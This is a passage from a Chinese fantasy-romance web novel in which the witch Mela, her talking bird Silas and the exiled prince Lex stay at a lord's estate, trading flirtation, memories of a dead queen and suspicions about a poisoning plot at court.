但这不是出了意外情况吗? 梅拉囫囵吞枣地将塞拉斯误打误撞发现生命之种发芽了的事情告诉了莱克斯。 “艾莉卡算是我的老师,我总不能眼睁睁地看着她有危险却视而不见。”梅拉道。 “只不过,我也没想到最后找到的人会是尤莉尔。” “所以, 你们就结伴, 继续前来弗霍斯特领了?”莱克斯问。 “对啊。”梅拉往前走了几步,堵在别人的房间门口说话总不是个事。 “可惜艾莉卡这会儿应该已经离开弗霍斯特领了, 我们接下来大概还得接着去往别的地方。” 去往别的地方? 莱克斯的嘴唇动了动, 似乎想问些什么, 但他最后还是选择了另一个问题: “如果当初我问你愿不愿意一起离开黑暗森林, 你会答应吗?” 梅拉讶异地回头看他, 脸上的表情明晃晃地写着:你在想什么呢? “都说了我不是随便找了个理由就离开黑暗森林的,我是出来救人的。” 救完人,梅拉当然就会重新回去了。 因此艾莉卡和莱克斯的情况怎么能够混为一谈呢? 莱克斯明明是自己想走的。 他有想要完成的事情必须去做, 她也有自己的生活要过。 呆在黑暗森林里, 远离人群与是非的日子,梅拉就很喜欢,也不打算为了谁而改变。 不过,梅拉懒洋洋地倚靠在门上,“如果你真的再度面临险境,或许我考虑考虑再救你一次吧。” “考虑考虑?” 莱克斯重复着梅拉的话,一步步地走到梅拉的面前。 他们本来也没有拉开多远的距离, 这会儿更是近得两具身体快要直接贴上了。 “就不能骗我一次, 说你一定会来吗?” 莱克斯垂下眼帘。 瞧着竟然有些可怜。 像那头原本意气风发的大黑狼趴了下来,故意让梅拉看见它脸上的委屈。 但莱克斯和黑狼不一样,他没有毛茸茸的狼毛,无法让梅拉手痒地摸上去。 他只有锋利而深邃的五官, 连抿起的唇都带着冷酷的弧度,看着就不好亲近。 “莱克斯,你是小孩子吗?有真话不听非要听谎话。”梅拉忽然道。 哪怕莱克斯就堵在面前,像座难以逾越的高山,仿佛无论怎样都无法在他的眼皮子底下逃开,梅拉也没有让他的气势吓倒,反而微微地笑了起来。 “听一千遍谎话,谎话也还是谎话,但我的真心可是很宝贵的,所以我对你说了真话,你难道不应该高兴吗?” 说着,梅拉伸手去推莱克斯的肩膀,“你让我站起来,门上的雕花硌得我腰疼。” “没事吧?”莱克斯下意识地伸手,打算去隔开梅拉与门,结果手却不慎放到了梅拉的后腰上。 柔软的布料下,是细腻如瓷的肌肤,还带着些微皮肉的温热。 只是相比之下,莱克斯的手掌太过滚烫,两种热度的区别如此鲜明。 梅拉气定神闲地挑眉,一副“你觉得呢”的表情。 莱克斯默默地收回了手,让开了身子,不敢再多说一句。 结果就在他让开之后,梅拉便看见了趴在走廊的窗子上,正一脸扭曲地看着他们的塞拉斯。 “……塞拉斯,你为什么要用这种姿势趴在窗子上?” * 好不容易和梅拉团聚,塞拉斯开始义愤填膺地数落梅拉竟然把它给忘了。 “你知道我有多担心你们吗?我一路跟着车队来到这座庄园,见你一直没能想办法逃出来,还以为你们出了什么事……” 塞拉斯担惊受怕了一整天,结果当它好不容易找着机会,避开众人的目光贴到窗子上,试图从窗缝里挤进来,就见梅拉竟然跟没事人一样与莱克斯在走廊里聊天。 等等,说起来。 “莱克斯你怎么也在这?”塞拉斯歪着脑袋盯着莱克斯,问道。 “……庄园的主人是我曾经的老师,我是特意来做客的。” 至于为什么要特意来做客,莱克斯没有说。 好在塞拉斯对此也不感兴趣。 毕竟以它的脑子,也想不到其中的那些弯弯绕绕。 因此塞拉斯“噢”了一声,就扭过脸继续声讨梅拉去了。 梅拉幽幽地看向莱克斯。 莱克斯只好轻咳了一声,主动道,“塞拉斯,你昨天流落在外,一定饿肚子了吧?不如我让厨房送些好吃的过来,你先填饱肚子再说。” 塞拉斯果然被转移了注意力。 它兴奋地叫着“好啊好啊”,接着就问莱克斯有没有什么好吃的可以安排。 过了一会儿,侍女推着餐车叩开了门,莱克斯亲自去将餐车推了进来,方便塞拉斯一屁股坐在餐车上埋着头大快朵颐。 “说起来,塞拉斯怎么会想到变成一只鸽子?”莱克斯没话找话地问。 梅拉于是原封不动地将塞拉斯的理由照搬给莱克斯听。 “不过我倒是想让塞拉斯变成一只麻雀,小小的多可爱,藏起来也方便,可惜它不愿意。”梅拉不无遗憾地道。 “才不要变成麻雀!灰不溜秋的羽毛真丑!”塞拉斯百忙之中不忘抽出空来反驳梅拉,就是嘴里都让食物给塞满了,鼓鼓囊囊的,说出的话也变得含糊不清。 “对了,塞拉斯,你之后就到尤莉尔那和她一起用餐吧。”梅拉忽然想到。 “为什么?”塞拉斯不解。 梅拉刚才不是说她的身份在琼斯夫人这些知情者眼里已经暴露得差不多了么? 那再多暴露她拥有一只聪明绝顶,举世无双的小鸟又有什么关系呢? “因为,我还没有亲口承认自己真的是女巫啊。”梅拉笑眯眯地拿起盘子里最后一块奶酪挞,让塞拉斯伸出的翅膀扑了个空。 哪怕琼斯夫人等人对梅拉的身份有所猜忌,心知肚明,但只要梅拉没有亲口承认,他们就能装作一无所觉的样子继续和梅拉相处。 有些事实不一定非得戳破,就像肥皂泡一样,隔着模模糊糊的一层光晕,反而美丽至极。 在塞拉斯怨念的眼神中,梅拉觉得弗霍斯特庄园的厨娘手艺可真不错。 然而等梅拉的魔爪继续伸向另一个碟子上的千层派时,塞拉斯眼疾手快地先一步将其塞入了嘴里。 “千层派,好吃。”塞拉斯含混地嘟囔了一句,用一种得意不已的眼神盯着梅拉。 梅拉仍然是嘴角挂着笑容的模样,“好吃就多吃点吧,这一整车的食物都属于你,记得一定要把它们吃完噢。” 什么? 塞拉斯看着餐车底下两层,一碟又一碟垒在一起,精致摆盘的食物,傻眼了。 它长长地、长长地打了个饱嗝。 仿佛将灵魂也吐了出去。 * 晚上,餐桌前依然只有梅拉、莱克斯、切尔各与琼斯夫人四个人,斐南基暂时没办法下来与他们一同用餐,只能由仆人将食物送入他的房间里。 得知梅拉和尤莉尔需要再在庄园里呆上半个月,琼斯夫人心情颇好地点头,让她们不用担心,只管安心在这里住下就好,有任何需要都可以找凯瑟琳。 总之,梅拉又度过了一顿非常愉快的晚餐。 当她舒舒服服地泡在浴池里时,这种愉悦便达到了顶峰。 塞拉斯身为鸟类,并不喜欢整只鸟都浸入水中,但它见梅拉十分享受地泡在浴池里,便央求梅拉给它弄来了一个木托盘。 于是塞拉斯站在木托盘里,梅拉偶尔给它淋下一点水,供它蹦蹦跳跳地洗去羽毛上的浮灰。 “对了,梅拉,莱克斯之后会和我们一起走吗?” 塞拉斯仰起头,盯着水汽蒸腾后脸颊浮现两抹酡红的梅拉。 “他为什么要和我们一起走?”梅拉漫不经心地反问回去。 “我还以为、还以为……”塞拉斯支支吾吾的,没好意思将心里的想法说出来。 它就是想沓樰獨家諍裡莱克斯了,这回他们好不容易遇上,为什么不能一起多待一阵呢? “塞拉斯,就算我们能在一起多待一天,难道就不用面临下一次的分别了吗?”梅拉伸手,摸了摸塞拉斯的羽毛。 难得的语重心长。 “比起强行拖延道别的时刻,不如珍惜好不容易再度相遇的每一天,嗯?” “好吧……” 虽然梅拉这么说了,塞拉斯的语气中还是难掩失落。 梅拉笑着摇了摇头,却没再说什么安慰的话。 于是本来打算入睡的莱克斯忽然听到房门被敲响,他打开门一看,走廊外空空如也。 等他再一低头,塞拉斯已经鬼鬼祟祟地踩着柔软的地毯一路直奔他的床。 “莱克斯,今晚就让我来陪你度过一个美妙的夜晚吧!”塞拉斯飞上床,热情地拍着被子向莱克斯发出了邀请。 从来没被塞拉斯这么黏过的莱克斯竟然有一瞬的受宠若惊。 “你怎么忽然跑过来了?这事梅拉知道吗?”莱克斯关上门,来到了床边。 “噢,她知道啊。”塞拉斯淡定地道,“她说我既然舍不得你,那就抓紧和你相处的每分每秒吧,所以我就来了。” “你那是什么表情?”见莱克斯不说话,塞拉斯十分不满,它还等着看莱克斯一脸感动的样子呢。 结果莱克斯的表情甚至冷静得过了头。 他淡淡地应了一句“没什么”,心里却在想,连塞拉斯都这样舍不得他,梅拉却好像没事人一样。 她脸上在笑着,心脏却犹如一块难以融化的坚冰。 一次又一次地冻醒了他发昏的头脑。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 第 71 章 [你觉得是谁想害你]…… “今天感觉怎么样?” 斐南基原本正靠坐在床上, 靠看书打发时间,听到开门声,他笑着抬头望去: “殿下,您来了。” 显然对莱克斯的到来早有预料。 “经过亚伦医士的调理, 我感觉我已经恢复了很多, 但姑姑还是认为我多休息几天更好。”斐南基有些无奈地道。 作为上上任弗霍斯特侯爵的小女儿,琼斯夫人和斐南基的年纪其实并没有相差多少岁, 但每当琼斯夫人搬出姑姑这个身份时, 即使是斐南基也没办法不听从她的意见。 更何况, 她也只是在为了他的身体着想。 “我觉得琼斯夫人的担心不无道理, 至少多休息几天总没有坏处。” 莱克斯走到床边, 这里早已摆好一把高背椅,显而易见,是斐南基特意提前为他安排的。 莱克斯施施然地坐下去。 “话是这么说, 可我身为领主却离开领地这么多年, 还把事情全都丢给姑姑一个人处理,如今我好不容易回来了,该好好休息的人是她才对。”斐南基笑着摇头。 “但琼斯夫人将弗霍斯特领打理得很好不是吗?这些年领地内的蒸蒸日上,大家都有目共睹。” 甚至莱克斯觉得,如果不是因为不允许女人继承爵位,弗霍斯特领出个女领主也不是不可能。 斐南基看起来也不像很在乎他这个领主身份的样子。 “是啊,明明大家都有目共睹的事情, 就好像托雷斯身体不好, 明显不如他的表姐更适合担当下一任的弗霍斯特侯爵。但因为他是个男孩,又是我唯一的儿子,于是从小就成为了领主继承人。殿下觉得这公平吗?” 斐南基笑容淡然地问道,好像真的只是单纯在和莱克斯闲聊。 但他透露出来的意思十分耐人寻味。 莱克斯知道斐南基的独子托雷斯从生下来就大病小病不断, 时刻需要数名仆人围在他的身边照顾。 以至于等托雷斯再长大一些后,斐南基做主,让孩子的母亲带着托雷斯住到了另一处庄园之中,那里环境清幽,鲜有人至,十分适合疗养身体。 与此相反的则是琼斯夫人的女儿克伦娜,即托雷斯的表姐,那是个聪明活泼的姑娘,甚至从小就能跟着身边的骑士学习骑马与剑术,还学得很不错。如果她是个男孩,或许会被提议成为托雷斯之后的第二顺位继承人。 但她是个女孩,就注定了她这辈子只能像她的母亲琼斯夫人辅佐斐南基一样去辅佐她的表弟。 不,或许并不一定。 从斐南基故意拿刚才那番话来问他,莱克斯就清楚地意识到,斐南基似乎有意让弗霍斯特领诞生出王国的第一位女领主。 “这当然不公平,女人也并不比男人差劲,不是吗?”莱克斯沉吟道。 “尤其是在有更好的选择下,我们没必要非得将就。” 譬如因为托雷斯是个男人就捏着鼻子让他当上领主,然而他那副病恹恹的身体一年有多少天能撑着处理领地内的事务还不好说。 更何况,莱克斯也从没听人夸赞过斐南基的这个儿子有多么聪明。 尽管这和托雷斯常年足不出户也有不小的关系,但连斐南基这个做父亲的都认为他在做领主的天份上不如自己的表姐,说明他的资质或许真的比较平庸。 “看来不管在哪个方面,”斐南基意味深长地道,“我和殿下的想法都一样。” 这就是斐南基在隐隐告诉莱克斯,他知晓他的来意,也愿意支持他登上王位。 而莱克斯登上王位后,必须更改旧有的继承法令,允许女继承人的出现。 在离去之前,莱克斯还是将心中的最后一个疑问问了出来,“斐南基,你觉得是谁想要害你呢?” 其实私底下,有不少人暗自猜测是琼斯夫人对斐南基下的手,毕竟她管理弗霍斯特领这么多年,与雷厉风行的手段一样人尽皆知的便是她的野心。结果斐南基这个名正言顺的领主一回来,她就只能当个悠闲地喝下午茶的贵妇人。 肯定在心底觉得很不甘心吧。 莱克斯通过切尔各的打探,同样得知了这些私底下有关琼斯夫人的揣测。 当时切尔各问他是怎么想的。 莱克斯直接道,他不会因为多年的相识就轻易判断琼斯夫人不会对斐南基下手,毕竟这些揣测也说明了琼斯夫人确实有伤害斐南基的动机。 斐南基若是就这么撒手人寰,琼斯夫人定然能得到不少好处,譬如以帮助托雷斯管理领地的名义,重新获得弗霍斯特领的主宰权。 因此哪怕琼斯夫人与斐南基一直是十分亲近的家人,也不能肯定这些天她不是故意在人前表演一场无辜的戏码,以此来逃脱别人对她的怀疑。 但今天斐南基提出了想要让琼斯夫人的女儿成为下一任弗霍斯特领的领主,莱克斯就知道,琼斯夫人是幕后黑手的那点微弱可能也消失了。 所以,到底是谁想要害斐南基呢?他一向是位名声卓绝的贵族,鲜少听闻他与谁出现过龃龉。 就算是当宰相的那些年,有人对他恨得牙痒痒,也该随着他离开王城回到领地而烟消云散了才对。 “殿下不如换个想法,谁会不希望我死呢?”斐南基慢悠悠地道。 不希望斐南基死的人那可真是太多了,他的妻子、儿子,琼斯夫人,忠心的手下等等,连莱克斯自己都算在内。 莱克斯的瞳孔忽的一缩。 “……动手的是伊莱雅,对吗?” 尽管莱克斯用的是疑问的语气,但他显然十分笃定这个答案没错。 他不希望斐南基死去,打算借助斐南基的势力与伊莱雅抗衡。 那伊莱雅当然恨不得斐南基赶紧去死了。 “但为什么偏偏是这个时候?” 如果伊莱雅早有预谋,何必等到现在才对斐南基下手。 更何况,她又是怎么和女巫搭上关系的? 一想到女巫,莱克斯不可避免地紧接着想到了梅拉。 哪怕梅拉没有明说,但弗霍斯特领突然出现了女巫,而梅拉又正好找了过来,其中的巧合多到莱克斯可以肯定那名对斐南基动手的女巫就是梅拉要找的艾莉卡,她曾经的老师。 可梅拉若是知情,又何必特意跑来弗霍斯特领救斐南基一命?更别提莱克斯相信,梅拉不会骗他,她与艾莉卡之间绝对没有联系。 “或许是她等不及了吧,王宫之中大概发生了什么我们所不知道的大事。” 即使涉及自己,还为此险些丧命,斐南基谈及伊莱雅时的态度仍然淡定得可怕。 并且哪怕不知道到底发生了什么足以让伊莱雅不得不对他痛下杀手的事,斐南基还是若有所思地道: “其实王宫内,能够让我们这位王后殿下在乎的人并不多,不是吗?不过是一位国王陛下,一位西维里殿下。” 所以,这件大事要么与努伦格尔九世有关,要么与西维里有关。 但不管是前者还是后者,都对莱克斯的处境非常有利。 所以也难怪伊莱雅沉不住气了。 “我知道了。”莱克斯颔首,显然有了自己的考量。 * 弗霍斯特庄园的花园不愧是有专门的园丁进行打理,梅拉还未走近,已经让馥郁的花香吸引了全部的注意力。 只是她没想到,花园之中竟然还有另一个人。 “梅拉小姐。” 切尔各朝逐渐走近的梅拉露出一个温和的笑脸。 而当他的视线落到梅拉的裙子上时,不由有些恍神。 切尔各一发呆,梅拉就察觉到了异样,她低头,不断打量今天早上侍女新送来的裙子,有些奇怪地问道,“怎么了吗?是这条裙子哪里有问题吗?” “不,这条裙子没有问题,它很美丽,衬得你就像在日光下的紫罗兰一样动人。”切尔各笑着否认。 同时,他的神色带出了些许怀念,“曾经莉莉勒斯王后也很喜欢紫色。随着她成为王后,渐渐的,宫廷的舞会上只有她是唯一一道紫色的倩影。” “这样啊,想必这位王后殿下一定是一位十足的大美人吧。莱克斯有哪里和她相像的地方吗?”梅拉好奇地问道。 “嗯……非要说的话,大概是鼻子和嘴巴?”切尔各沉思了一会儿。 其实莱克斯不管是和努伦格尔九世还是和莉莉勒斯放到一起都算不上特别相像,他更像是脱胎于父母的胚子,长出了一副独一无二的英俊面容。 “如果可以的话,你能和我说说更多有关这位王后殿下的往事吗?”梅拉笑吟吟的提议。 “在莱克斯的嘴里,他的母亲爱他,却鲜少陪伴他,以至于他就算偶尔和我提起,次数也是寥寥。” 毕竟莱克斯自己都没有多少和莉莉勒斯相处的记忆。 但是,早在莱克斯出生之前,切尔各就认识了莉莉勒斯,他一定见识过那个尚算健康,在贵族之间颇有美名的女人。 在切尔各的眼里,莉莉勒斯又是怎样的一个形象呢? “当然,今天的天气如此晴朗,正适合在这美丽的花园里谈论一位如花般动人的美人。”切尔各不出所料地答应下来。 “不过,在此之前,我们或许可以就着茶水与点心,更加愉快地度过这段时光。”切尔各提议道。 “好啊。”梅拉向侍立不远处的侍女挥了挥手,将想要喝下午茶的打算告诉她。 于是不出多久,梅拉与切尔各在花园的石桌前落座,各自端起面前的茶水喝了一口。 共同发出一声喟叹:“好烫。” 第72章 第 72 章 [小情侣互动] 莉莉勒斯从小就在贵族间颇有名气。 她的出身算不上特别高贵, 只是一个子爵的女儿,然而随着她第一次踏入社交场,那副惊人的美貌便迅速在人群之中流传。 除了美貌之外,莉莉勒斯也有着一颗不输于外在的高贵心灵。 “王后殿下从来不会看不起我们这些‘下等人’。”切尔各怀念地道。 哪怕他们尽心侍奉在这些贵族们的身边, 还为了他们的安危拼上性命, 但还是被理所当然地瞧不起。 仿佛一个人从出生起就注定了他的身份。 低贱的便永远低如尘埃,高贵的却世代高高在上。 当然, 切尔各从不这么认为, 否则他也不可能以一个农民之子的身份跑到王城, 甚至野心勃勃地参与王室骑士团的选拔。 “以我的能力, 当然十分顺利地进入了隶属于王室的骑士团。只是在骑士长选拔当日, 我打败了很多人,其中不乏贵族之子。可他们说,我是平民, 平民怎么能够站出来领导贵族呢。”切尔各淡淡地道。重提旧事, 他却没了当初那股充斥于胸中的愤懑。 时至今日,切尔各仍然能回想起那一天,血色的夕阳铺满了大半个演武场,而他紧紧握着剑柄不肯放手,任由汗滴从眼前滑落,无声地掉落地面。 原本倒在地上的男人被另外两个人扶了起来,正用愤恨的眼神盯着切尔各。 他是切尔各今天的第二十一个对手, 连着对战这么多人, 哪怕是切尔各也觉得身体变得笨重起来,挥剑变得吃力。 即使如此,切尔各还是瞅准了时机,趁着男人被剑上传来的力道震得双手暂时麻痹时, 快准狠地挑飞了他手中的剑,拿下了最后一场胜利。 耳边不断传来窃窃私语,左不过是那些老调重弹。 “他还是人吗?怎么可能有人连着战胜了二十一个人还没累得躺倒?” “不愧是被誉为怪物的男人,世上真的有人能比他更强吗?” “可惜了,是个平民,就算赢了又怎么样?总不能真的让一个平民骑在我们贵族的头上吧?” 切尔各没有理会这些私语,他转动眼珠,看向一直立在一旁,双手抱臂,面色肃然地旁观了这场选拔的男人。 他就是即将卸任的骑士长。 不管是脸上的风霜,还是鬓边梳得一丝不苟的雪白,都证明了他确实不适合再继续担任骑士长这一重要的职务,骑士团到底是年轻人的地盘。 他也注意到了切尔各投来的目光,脸上难得出现了动容,那是一种不会被错认的遗憾。 他也在遗憾,为什么切尔各出身如此低微。 否则他也就不会陷入如此为难的地步。 沉默其实是一种无声而折磨的审判。 哪怕切尔各心中的失望越来越大,可他却仍然执拗地相信着,或许真的有那么一丝可能,他会破格成为第一位平民出身的骑士长。 如果碾压般的实力都不能换来公平,那他继续留下来还有什么意义?难道就为了这些看不起他的贵族们白白受伤吗? “这就是我们的新任骑士长吗?真是位英俊又出色的美男子。” 柔和的女声忽然响起,一下子便引走了所有人的注意。 华丽的裙装将女人本就绝美的容颜衬托得更加高贵,头顶上的王冠更是明晃晃地向众人宣告了她的身份:她就是如今的王后殿下,莉莉勒斯·艾伦诺。 “王后殿下。” 一时间,所有在场的骑士都将握成拳的右手放至胸口,垂下头,朝莉莉勒斯恭敬地行礼。 其中当然也包括切尔各。 因此他只能听见属于莉莉勒斯的脚步声离自己越来越近,随着一抹紫色的裙摆出现在眼前,一只戴着白色蕾丝手套的手也伸了过来。 无名指上还戴着一枚璀璨的宝石戒指。 “你叫什么名字?” “我叫切尔各,殿下。”切尔各扔下剑,牵过莉莉勒斯的手,郑重地在手套上落下一记轻吻,而后很快放开,半分狎昵意味也无。 “既然你从今天开始接任骑士长的职务,那么之后王宫的安全就拜托你了。”莉莉勒斯微笑道。 “王后殿下!”不等切尔各开口,老骑士长忽然喊道。 “嗯?有什么事吗?安德鲁。”莉莉勒斯一向温柔的目光转投到他的身上。 “切尔各他,他是一位平民……”安德鲁不好当着众人的面直言若是切尔各成为骑士长,底下这些出身贵族的骑士们一定不会服从他的,说不定还要闹到努伦格尔九世的面前去,因此他只好犹犹豫豫地用这句话暗示莉莉勒斯,希望她能回心转意。 “是吗?”莉莉勒斯笑着将视线挪回切尔各脸上,“那看来你的身上流淌着不输于贵族的英勇,我为王室骑士团中出现你这样的人而感到由衷的喜悦。” “殿下……”切尔各愣了愣,清楚地知道有莉莉勒斯的肯定,这下他必定会成为下一任骑士长无疑。 心中原本涌动着的不甘彻底化为涅粉,他再一次向莉莉勒斯行了一礼,郑重其事地道: “我必定不会辜负您的信任。” * 趁着太阳还没落山之前,这顿下午茶也要彻底走入尾声了。 切尔各温和地同梅拉告退,他还有别的事要办,就不送梅拉回房间了。 梅拉笑着和他挥挥手,“庄园里如此安全,回个房间而已,还用不着你这位大名鼎鼎的骑士护送我回去。” 等切尔各的身影消失在视线之中,梅拉才慢条斯理地提起茶杯,喝尽了杯中最后一点凉透的茶水。 然后,她慢悠悠地沿着走廊,进入一楼的大厅,再慢步走上楼梯,来到了二楼。 “梅拉?你怎么会在我房间外面?”从斐南基处回来的莱克斯没想到还没走到自己的房间,就看到梅拉靠着墙,好像是特意在这等他的样子。 “因为我在等你啊。”梅拉笑吟吟地承认了目的。 “等我?”莱克斯想不到梅拉这么做的理由,“是有什么事情需要我帮忙吗?” “事情嘛……倒是没有,只是想来给你看看这条新裙子。庄园的裁缝手艺可真好,不是吗?”梅拉当着莱克斯的面,提起裙摆,轻盈地转了一圈。 剪裁得宜的线条完美地勾勒出了她纤细的腰肢,紫色的布料更是衬得她的肌肤雪白。 “是不错,这条裙子很适合你。”莱克斯给出了非常公道的评价。 “毕竟是你特意让人做给我穿的,当然适合我了,不是吗?”梅拉笑着道出了一个莱克斯企图掩盖的秘密。 如果说今天早上,梅拉还没意识到这条裙子的问题,但等切尔各说因为莉莉勒斯的美貌太过惊人,自她成为王后就再也没有其他人会穿紫色的裙装,以免被比下去之后,梅拉便突然恍然大悟,这条裙子一定是莱克斯借着凯瑟琳之手给她送来的。 切尔各还说,哪怕莉莉勒斯去世多年,这一心照不宣的习惯还是在众位尊贵的小姐夫人之间得以保留。 至于莱克斯的心思,梅拉稍微一猜就明白了。 在他心中,母亲钟爱的紫色应该是世间最美的颜色,所以好不容易有了机会,他也想看到梅拉穿上紫色裙装的模样。 既然梅拉已经知道,莱克斯也没有再瞒下去的必要,他有些无奈地摸了摸鼻子,了然地道,“是切尔各向你泄露的吧。” 哪怕莱克斯并不知道梅拉与切尔各共进了一场下午茶,但这座庄园里对这些陈年往事一清二楚的人屈指可数,稍一排除就能锁定目标。 斐南基没有机会,琼斯夫人不可能特意对梅拉提及莉莉勒斯,那便只剩下切尔各了。 “我可什么都没说。”梅拉做了个保密的手势,表示一切都是莱克斯的猜测,她可没有出卖任何人。 “所以,你觉得我是穿紫色漂亮,还是穿其它颜色更漂亮?” 接着,梅拉抛出一个令莱克斯都不敢轻易回答的问题。 不知道为什么,莱克斯总有种不管选前者还是后者都会惹恼梅拉的直觉在不停地示警。 “我觉得,”莱克斯沉思片刻,一本正经地道,“不管是哪个颜色,你穿起来都很漂亮,但只有你喜欢的颜色,穿起来才最漂亮。” 梅拉满意地哼笑一声,“莱克斯,你可真是变得越来越会讨女人欢心了。” “听说切尔各当初也很受夫人小姐们的欢迎,我看哪怕被称为‘冷美人’的琼斯夫人对他的态度也很不错。你和他呆在一起的这些天里,学到了不少有用的东西吧?” 莱克斯:“……” 他忽然有种百口莫辩的感觉。 难道要信誓旦旦地告诉梅拉,他从没和切尔各学过这种对女人油嘴滑舌的本领吗? 见莱克斯哑然,梅拉倒是心情很好,哼着歌就离开了。 在彻底擦肩而过之前,梅拉红唇微启,仿佛有些烦恼地抛下一句:“说起来,我的腰围好像比以前粗了一点,你觉得呢?莱克斯。” 莱克斯下意识地回想起前不久,他的手放在梅拉后腰的那一瞬。 真切感受到的温热和记忆中的样子进行比对,好像并没有差别? 然而思绪回笼,莱克斯便感到了一阵难以言喻的口干舌燥。 以及心底对梅拉深深的无奈。 他知道,梅拉是故意这么说的。 就是想看他心绪不宁的样子作乐。 可莱克斯有什么办法呢? 就算梅拉递来一瓶毒药,他难道舍得对她说不吗? 爱情,就是最令人心知肚明,又无法抵抗的毒药。 第73章 第 73 章 [猝不及防的道别]…… 明明是从小一起长大的好兄弟, 但同切尔各聊天可比同杜克瓦托那个狗嘴里吐不出象牙的家伙聊天有意思多了。 切尔各出身普通,从小就和形形色色的人打交道,总是能用风趣又幽默的口吻同梅拉描述他见识过的那些趣事,哪怕是两个同父同母的亲兄弟为了争一个牧羊女大打出手这种事情, 都能叫他讲得妙趣横生。 尤其这些年, 他为了躲避其他人的寻找,四处流浪, 几乎走遍了大半个王国, 嘴里的故事更是讲上三天三夜都讲不完。 “……我曾经到过一个小镇, 那里有非常独特的酿酒技术, 酿出来的果酒甘美又甜腻。除此之外, 镇上每年都会在秋季的尾巴举行秋收庆典。在庆典当天,每一个年轻的男孩都能够带着亲自挑选出来的一束麦穗赠送给他心爱的姑娘,如果姑娘接受了, 那他们就会在冬季前往教堂, 在亲人们的见证下幸福地走到一起。” “等一下,如果这对年轻人的父母有一方不同意该怎么办?”梅拉好奇地问道。 她总觉得不可能每一对在一起的年轻人都如此顺利,如果说他们因为年纪小,容易被所谓的爱情冲昏头脑,但他们的父母一定有着最冷静的考虑。 譬如家境是否相当、嫁妆是否丰厚等等,难道就没有哪一对有情人被拆散的吗? “那他们只能阻止自己的儿子向心上人表白,或是阻止自己的女儿接受表白了。否则按照镇上的风俗, 在庆典当天表明心意的所有人都会受到祝福, 是必须要到教堂成婚的。” 切尔各笑着拎起桌上的茶壶,为梅拉快要见底的茶杯续上了温热的茶水。 “说起来,曾经倒也不是没有人这么干过,比如不许儿子拿走家里的任何一根麦穗, 比如在庆典当天将女儿关在房间里不许出门之类的。” “那他们岂不是不能和心上人在一起了?”梅拉感兴趣地咬下一口淋了柑橘果酱的贝壳蛋糕,满足地微微眯起了眼。 “唔,年轻人为了爱情,总是什么办法都能想得出来的。”切尔各耸了耸肩,道出了故事的后续。 其中被阻止的儿子去别人的田地里苦苦寻觅,总算凑齐了最不起眼、最干瘪的一小束麦穗。 被阻止出门的女儿则守在窗前,在众目睽睽之下接住了情人抛来的麦穗。 “总之,只要真心想在一起,任何困难都不过是爱情的垫脚石,不是吗?”切尔各状若无意地笑问。 梅拉却是笑眯眯地将最后一口贝壳蛋糕塞入嘴里,对切尔各的话不置可否。 完蛋。 见状,切尔各在心底几不可察地叹了口气。 看来他们殿下如果想要得偿所愿,还有很长的路要走啊。 * 晚上,梅拉照例到尤莉尔的房间看望她的情况。 经过这六七天的修养,尤莉尔显然和之前虚弱的模样大相径庭,脸蛋重新恢复了健康的红润。 因此,当她兴致勃勃地向梅拉提出,想要提前离开弗霍斯特庄园时,梅拉不由愣了一下。 “怎么了?你是担心我太着急了吗?”尤莉尔以为梅拉是在体贴自己,表情不由变得扭捏起来,“你放心好了,以我现在的恢复速度,最迟三天后就能完全康复,绝对不是在故意逞强。” 说着,她还偷偷用眼角的余光打量梅拉。 梅拉从先前的怔愣中回过神来,无所谓地点了点头,“好啊,反正是你的身体,既然你觉得没问题,那我们就提前离开好了。” “那就说定了?三天后我们就走。”尤莉尔兴奋地道。 这几天她一直呆在房间里休养,就是为了能够尽快康复。 然而就是这么短短几天里,尤莉尔已经对贵族们奢靡的生活暗暗心惊。相比之下,她还是更喜欢自力更生,呆在自己的屋子里不被任何人打扰。 只是在提出这个想法之前,尤莉尔难免有些担心会遭到梅拉的拒绝,毕竟梅拉看起来很适应在庄园里的生活,她和侍女口中的领主大人、贵客等人也有不错的交情。 尤莉尔知道的,梅拉不是传统的女巫,如果有得选择,她未必喜欢过远离人群,冷冷清清的日子。 眼下见梅拉毫不留恋这些丰饶的食物、华丽的衣着,而是愿意跟着她冒着危险继续寻找艾莉卡,尤莉尔的内心自然十分喜悦。 她巴不得明天就插上翅膀飞出这座仿佛巨大囚笼的庄园。 “好了,我就不多打扰你了,你注意好好休息。” 梅拉退出了尤莉尔的房间,正好撞上开门打算从房间里出来的莱克斯。 隔着大半条走廊,两人遥遥相望,月光从窗外洒进来,为整面墙涂上了静谧的阴影。 “怎么了?”注意到梅拉的视线落到自己的脸上,停留的时间似乎有点久,莱克斯端着烛台走了过来。 火光照亮了他的半张脸,另外半张则陷入深邃的黑暗中,唯独那双金眸熠熠生光,含着摄人心魄的神采。 “没什么。”梅拉看着走到自己面前的莱克斯,默了片刻,还是将她要提前离开的事情咽了回去。 “你呢?”梅拉冲着莱克斯端着的烛台抬了抬下巴,问道。 “睡不着,打算到花园里透透气。”莱克斯坦诚地答。 “看在今晚月光不错的份上,我就陪你一起去花园里逛逛好了。” 梅拉放下已经准备推门而入的手,转而同莱克斯走到了花园里。 等真的对上天空中那一轮银月,才发现走廊里洒入的月光不及花园里十分之一的美丽,银白的光辉流淌在地面,仿佛一道蜿蜒的河流,无需靠近已然感受到一股凉意。 明明是夏夜,梅拉却下意识地抚上了手臂。 “冷?”莱克斯没有忽略梅拉的小动作。 “怎么可能。”梅拉若无其事地放下手,接着用手背又轻又快地碰了莱克斯的小臂一下,“看吧,我可不冷,比起来好像是你的皮肤更凉一些。” 莱克斯默默回味着刚才片刻触碰的余温,承认了,“嗯,是我有点冷。” “这些天,我好像从没见你来过花园?”梅拉伸手抚摸一朵开得正好的白蔷薇,甚至低下头嗅了嗅花香。 “你倒是和切尔各每天下午都要来这喝一场下午茶。”莱克斯淡淡地看了梅拉一眼。 尽管他的语气上并没有什么变化,却还是让人能够清楚地知道,提及这件事时他的心情绝对算不上好。 “和切尔各聊天很有趣,不是吗?比如他就会告诉我,你小时候还怕过蛇,嗯?” 梅拉扭头,冲莱克斯玩味地挑了挑眉梢。 “小孩子当然有很多可以惧怕的东西,比如蛇这种滑溜溜、长相可怖,还含有剧毒的动物。” 莱克斯倒是一点都没有被人揭老底的羞意,十分坦荡地与梅拉对视。 最后还是梅拉先败下阵来,移开了视线。 “为什么说小孩子才可以惧怕,难道长大了就必须勇敢无畏地面对一切了吗?” “因为现在的我已经有了可以保护自己的力量,为什么还要怕一条蛇?” 